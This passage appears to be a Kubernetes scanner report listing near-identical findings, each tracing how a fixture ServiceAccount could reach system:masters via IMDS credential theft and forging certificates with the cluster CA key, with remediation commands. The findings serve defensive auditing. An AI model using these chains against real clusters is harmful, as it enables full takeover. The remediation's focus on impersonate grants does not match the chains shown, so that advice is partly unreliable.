A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-exec/foothold-reader.
  2. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/foothold-fixtures/foothold-quiet Cluster 8.3
ServiceAccount/foothold-fixtures/foothold-quiet can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/foothold-fixtures/foothold-quiet → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-quiet

Subject ServiceAccount/foothold-fixtures/foothold-quiet can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/foothold-fixtures/foothold-quiet → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
2. ServiceAccount/foothold-fixtures/foothold-quiet → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-fixtures/foothold-quiet.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-quiet, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-quiet, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/gw-workloads/gw-web-sa Cluster 8.3
ServiceAccount/gw-workloads/gw-web-sa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/gw-workloads/gw-web-sa → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/gw-workloads/gw-web-sa

Subject ServiceAccount/gw-workloads/gw-web-sa can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
2. ServiceAccount/gw-workloads/gw-web-sa → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/gw-workloads/gw-web-sa.
  2. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/gw-workloads/gw-web-sa → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/gw-workloads/gw-web-sa → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/hookbackend-fixtures/default Cluster 8.3
ServiceAccount/hookbackend-fixtures/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/default

Subject ServiceAccount/hookbackend-fixtures/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/hookbackend-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
2. ServiceAccount/hookbackend-fixtures/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/hookbackend-fixtures/default.
  2. Acting as ServiceAccount/hookbackend-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/hookbackend-fixtures/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/hookbackend-fixtures/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/hookbackend-fixtures/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader Cluster 8.3
ServiceAccount/imgswap-fixtures/imgswap-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/imgswap-fixtures/imgswap-reader → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-reader

Subject ServiceAccount/imgswap-fixtures/imgswap-reader can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/imgswap-fixtures/imgswap-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
2. ServiceAccount/imgswap-fixtures/imgswap-reader → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/imgswap-fixtures/imgswap-reader.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/ingress-only/default Cluster 8.3
ServiceAccount/ingress-only/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/ingress-only/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/ingress-only/default

Subject ServiceAccount/ingress-only/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/ingress-only/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
2. ServiceAccount/ingress-only/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/ingress-only/default.
  2. Acting as ServiceAccount/ingress-only/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/ingress-only/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/ingress-only/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/lp-fixtures/sa-lp-narrow Cluster 8.3
ServiceAccount/lp-fixtures/sa-lp-narrow can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-narrow → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow

Subject ServiceAccount/lp-fixtures/sa-lp-narrow can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-narrow → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
2. ServiceAccount/lp-fixtures/sa-lp-narrow → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/lp-fixtures/sa-lp-narrow.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-narrow, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/lp-fixtures/sa-lp-narrow, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
